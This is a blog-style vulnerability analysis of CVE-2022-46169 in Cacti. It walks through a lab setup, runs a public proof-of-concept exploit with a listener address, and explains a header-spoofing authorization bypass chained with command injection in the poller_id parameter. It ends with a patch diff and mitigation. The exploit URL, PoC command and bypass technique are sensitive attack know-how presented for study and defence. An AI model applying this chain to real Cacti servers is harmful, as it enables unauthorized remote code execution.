Introduction
Unauthenticated RCE in Cacti has been found and registered as CVE-2022--46169.
Version affected < 1.2.22
Cacti Unauthenticated RCE is one of the trendy CVEs last month.

Based on Greynoise (Check it here) there are three unique IPs attempted to exploit this vulnerability.

Based on Shodan's search (check it here) Cacti is running on 4,433 servers.

What are Cacti?
Cacti is an open-source, web-based network monitoring and graphing tool designed as a front-end application for the open-source, industry-standard data logging tool RRDtool. Cacti allow a user to poll services at predetermined intervals and graph the resulting data.
Build the lab
Install the system and prerequisites
Setup Ubuntu (I'm using Ubuntu server 20.04)
Update the server\
sudo apt update
Install Apache & PHP\
sudo apt install -y apache2 php-mysql libapache2-mod-php
Install PHP Extensions\
sudo apt install -y php-xml php-ldap php-mbstring php-gd php-gmp
Install MariaDB\
sudo apt install -y mariadb-server mariadb-client
Install SNMP\
sudo apt install -y snmp php-snmp rrdtool librrds-perl
Configure Database
sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf
Add the following at the end of the file:
collation-server = utf8mb4_unicode_ci
max_heap_table_size = 128M
tmp_table_size = 64M
join_buffer_size = 64M
innodb_file_format = Barracuda
innodb_large_prefix = 1
innodb_buffer_pool_size = 512M
innodb_buffer_pool_instances = 10
innodb_flush_log_at_timeout = 3
innodb_read_io_threads = 32
innodb_write_io_threads = 16
innodb_io_capacity = 5000
innodb_io_capacity_max = 10000
sudo systemctl restart mariadb
sudo vim /etc/php/7.4/apache2/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
sudo vim /etc/php/7.4/cli/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
sudo mysql -u root -p
create database cacti;
GRANT ALL ON cacti.* TO cacti@localhost IDENTIFIED BY 'cacti';
flush privileges;
exit
sudo mysql -u root -p mysql < /usr/share/mysql/mysql_test_data_timezone.sql
sudo mysql -u root -p
GRANT SELECT ON mysql.time_zone_name TO cacti@localhost;
flush privileges;
exit
Install Cacti
wget https://files.cacti.net/cacti/linux/cacti-1.2.22.zip
unzip cacti-1.2.22.zip
sudo mkdir /opt/cacti
sudo mv cacti-1.2.22/* /opt/cacti
sudo mysql -u root -p cacti < /opt/cacti/cacti.sql
sudo vim /opt/cacti/include/config.php
# make sure these values reflect your actual database/host/user/password
$database_type = "mysql";
$database_default = "cacti";
$database_hostname = "localhost";
$database_username = "cacti";
$database_password = "cacti";
$database_port = "3306";
$database_ssl = false;
- Create a crontab file to schedule the polling job.
sudo vim /etc/cron.d/cacti
# Add the following scheduler entry in the crontab so that Cacti can poll every five minutes
*/5 * * * * www-data php /opt/cacti/poller.php > /dev/null 2>&1
- Create a new site for the Cacti tool
sudo vim /etc/apache2/sites-available/cacti.conf
Use the following configuration
Alias /cacti /opt/cacti
<Directory /opt/cacti>
Options +FollowSymLinks
AllowOverride None
<IfVersion >= 2.3>
Require all granted
</IfVersion>
<IfVersion < 2.3>
Order Allow,Deny
Allow from all
</IfVersion>
AddType application/x-httpd-php .php
<IfModule mod_php.c>
php_flag magic_quotes_gpc Off
php_flag short_open_tag On
php_flag register_globals Off
php_flag register_argc_argv On
php_flag track_vars On
# this setting is necessary for some locales
php_value mbstring.func_overload 0
php_value include_path .
</IfModule>
DirectoryIndex index.php
</Directory>
Enable the created site
sudo a2ensite cacti
Restart Apache services.
sudo systemctl restart apache2
Create a log file for Cacti and allow the Apache user (www-data) to write data into the Cacti directory.
sudo touch /opt/cacti/log/cacti.log
sudo chown -R www-data:www-data /opt/cacti/
- Visit the below URL to begin the installation of Cacti
http://ip/cacti
Username: admin\
Password: admin
After you log in it will ask you to change the password.
If everything is correctly configured in the past steps, it should be easy from here and just 'next, next ...etc'













Add devices and real data\
in order to achieve the unauthenticated RCE you need to have real data and devices in cacti.






After we added the devices now we can proceed to test the Unauthenticated RCE.
Dynamic Analysis
The vulnerable endpoint is , try to browse itremote_agent.php

we get this error back, and it's important since we will use it later in the code review.
There are specific parameters that are passed after the endpoint:
action=polldata
host_id=3
local_data_ids[]=6
poller_id=1
Full link:
http://192.168.1.101/cacti/remote_agent.php?action=polldata&host_id=3&local_data_ids[]=6&poller_id=1
Basically, the poller_id parameter it's the vulnerable parameter for command injection, however you can't execute the command unless you guess the right numbers for host_id and local_data_ids parameters, and we will know why in the static analysis.
To produce this vulnerability I used this tool:
https://github.com/N1arut/CVE-2022-46169_POC
Before I start the tool, I enabled the proxy so I can intercept the traffic.


python cacti_exploit.py http://192.168.1.124/cacti/ 192.168.1.126 9001


now we can see the requests in Burpsuite

Now, we know what the request would look like.
Static Analysis
Let's do some code review and see where is the vulnerability and why it's happening.
Authorization Bypass
remote_agent.php
- Find the remote_agent.php file which is the vulnerable endpoint file.

- The first information we got from our dynamic analysis is the error message "FATAL: You are not authorized to use this service"\
Search for it in the remote_agent.php file

remote_client_authorized()
- Search for 'remote_client_authorized()' function

The function determines if a remote client is authorized to access a resource.
The line brings the variable into the function's scope.global $poller_db_cnn_id;``$poller_db_cnn_id
The line calls a function which retrieves the IP address of the remote client.$client_addr = get_client_addr();``get_client_addr
The line checks if the IP address is valid. If the IP address is not valid, the function returns and the remote client is not authorized.if ($client_addr === false) { return false; }``false
The line uses the function to validate the IP address. If the IP address is not valid, a log message is written to indicate an error and the function returns .if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {...}``filter_var``false
The line uses the function to retrieve the hostname associated with the IP address.$client_name = gethostbyaddr($client_addr);``gethostbyaddr
The line checks if the hostname was successfully resolved. If it was not, a log message is written to indicate a failure to resolve the hostname and the function continues.if ($client_name == $client_addr) {...}
The line calls a function on the hostname to strip the domain portion from it.$client_name = remote_agent_strip_domain($client_name);``remote_agent_strip_domain
The line retrieves the list of pollers from a database using the function. The variable is passed as the third argument to this function to specify the database connection to use.$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);``db_fetch_assoc``$poller_db_cnn_id
The line checks if the list of pollers is not empty. If it is not empty, the function continues.if (cacti_sizeof($pollers)) {...}
The code block iterates through the list of pollers.foreach($pollers as $poller) {...}
The line calls the function on the hostname of each poller and compares the result with the client name obtained in step 7. If they match, the remote client is authorized and the function returns .if (remote_agent_strip_domain($poller['hostname']) == $client_name) {...}``remote_agent_strip_domain``true
The line compares the hostname of each poller with the client address obtained in step 2. If they match, the remote client is authorized and the function returns .elseif ($poller['hostname'] == $client_addr) {...}``true
If none of the conditions in steps 11 and 12 are met, a log message is written indicating an unauthorized remote agent access attempt, and the function returns , indicating that the remote client is not authorized.false
Here I started to study each function involved in the remote_client_authorized() function.
The most interesting part is step 11 and 12 since they indicate in order to be authorized the $client_name variable or $client_addr variable have to match $poller['hostname']
functions.php
Search for 'get_client_addr' in all files and it will be found in functions.php file.


function get_client_addr($client_addr = false)
: Defines a function named that takes an optional argument , which is set to by default.get_client_addr``$client_addr``false
$http_addr_headers = array( ... )
: Declares an array that lists the names of headers that may contain the client's IP address.$http_addr_headers
$client_addr = false;
: Sets the initial value of to .$client_addr``false
foreach ($http_addr_headers as $header)
: Iterates over the headers in the array.$http_addr_headers
if (!empty($_SERVER[$header]))
: Checks if the current header has a non-empty value in the array.$_SERVER
$header_ips = explode(',', $_SERVER[$header]);
: If the header has a non-empty value, it splits the value into an array of IP addresses using , with the separator being a comma.explode
foreach ($header_ips as $header_ip)
: Iterates over the resulting array of IP addresses.
if (!empty($header_ip))
: Checks if the current IP address is not empty.
if (!filter_var($header_ip, FILTER_VALIDATE_IP))
: If the IP address is not empty, it checks if it is a valid IP address using with the filter.filter_var``FILTER_VALIDATE_IP
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
: If the IP address is not valid, it logs an error message to a log file using the function.cacti_log
$client_addr = $header_ip;
: If the IP address is valid, it sets to that IP address.$client_addr
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
: Logs a debug message to a log file using the function, indicating that the IP address was found and is being used.cacti_log
break 2;
: Exits both the inner and outer loops.
return $client_addr;
: Returns the value of .$client_addr
Since we understand the get_client_addr function, we know that the function takes the IP from the headers in the array $http_addr_headers.
We can control some headers such as X-Forwarded-For header therefore even if our IP address is not one of the allowed addresses we can add the IP address of the target server or 127.0.0.1 localhost IP address, and this will bypass the authorization.
Command injection
Since the injection takes place in the "poller_id" parameter, we can locate it in the "remote_agent.php" endpoint and comprehend how its value is being passed.
There is poll_for_data() function and inside it, we can see:

but we need to understand how the poller_id is being passed and how the poll_for_data() function is being triggered, so I started to search for the "action" parameter.

This code uses a statement to handle a request based on the value of the "action" parameter. The "action" parameter is obtained using function.switch``get_request_var
There is case in the switch statement. If the value of the "action" parameter is equal to , the code inside the case statement will be executed.'polldata``'polldata'
The code sets the maximum execution time for the script using the function and the value of . This ensures that the script doesn't run indefinitely.ini_set``read_config_option('script_timeout')
The function is called with the argument to indicate the start of polling data. Then, the function is called. After that, the function is called again with the argument to indicate the end of the polling process.debug``'Start: Poling Data for Realtime'``poll_for_data``debug``'End: Poling Data for Realtime'
Finally, the statement ends the statement.break``switch
The issue here is that the "polldata" value and if this value is not properly filtered or validated.
With that being said, we understand how the poll_for_data function is triggered.

proc_open() executes a command, much like exec() does, but with the added ability to direct input and output streams through pipes.
Given that we have control over the $poller_id variable, an attacker can inject malicious code and there are no proper validation or security checks in place.
Also we mentioned earlier in the Dynamic Analysis that we can't execute the command unless you guess the right numbers for host_id and local_data_ids parameters.
POLLER_ACTION_SCRIPT_PHP is to execute some action, such as gathering data from a network device or updating a database which are related to poller actions.
I was unable to locate the code that specifically explains the need for the parameters to be correct, but after examining the code and multiple files, it appears that POLLER_ACTION_SCRIPT_PHP serves as an alias for defining the action of poller_item. Therefore, it is necessary to set all the parameters correctly, which can easily be brute forced.
Patch Diffing
First, download the latest version of cacti from here:
https://www.cacti.net/info/downloads
With this online tool, I can compare two texts and see what's different.
https://www.diffchecker.com/text-compare/

You can check the diffing between cacti 1.2.22 version and cacti 1.2.23 version from here:
https://www.diffchecker.com/DR7kCix4/
There are four differences here:
1- The error message has been removed.

2- get_nfilter_request_var function changed to get_filter_request_var function, both functions are custom functions existed in html_utility.php file.

3- Same as in the second change

4- cacti_escapeshellarg function suppose to operate in a very similar way to escapeshellarg()
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input.
function cacti_escapeshellarg($string, $quote = true) {
global $config;
if ($string == '') {
return $string;
}
/* we must use an apostrophe to escape community names under Unix in case the user uses
characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
you do this, but are perfectly happy with a quotation mark. */
if ($config['cacti_server_os'] == 'unix') {
$string = escapeshellarg($string);
if ($quote) {
return $string;
} else {
# remove first and last char
return substr($string, 1, (strlen($string)-2));
}
} else {
/* escapeshellarg takes care of different quotation for both linux and windows,
* but unfortunately, it blanks out percent signs
* we want to keep them, e.g. for GPRINT format strings
* so we need to create our own escapeshellarg
* on windows, command injection requires to close any open quotation first
* so we have to escape any quotation here */
if (substr_count($string, CACTI_ESCAPE_CHARACTER)) {
$string = str_replace(CACTI_ESCAPE_CHARACTER, "\\" . CACTI_ESCAPE_CHARACTER, $string);
}
/* ... before we add our own quotation */
if ($quote) {
return CACTI_ESCAPE_CHARACTER . $string . CACTI_ESCAPE_CHARACTER;
} else {
return $string;
}
}
}

Mitigation
The companies can use the last version of cacti 1.2.23.
Last thoughts
This is a very interesting vulnerability since two vulnerabilities are chained together to achieve Pre-auth command injection or Pre-auth RCE.
I think a lot of research can be conducted on this software and since it's open source, and it also interacts with the network and multiple devices this makes it even more interesting.
Resources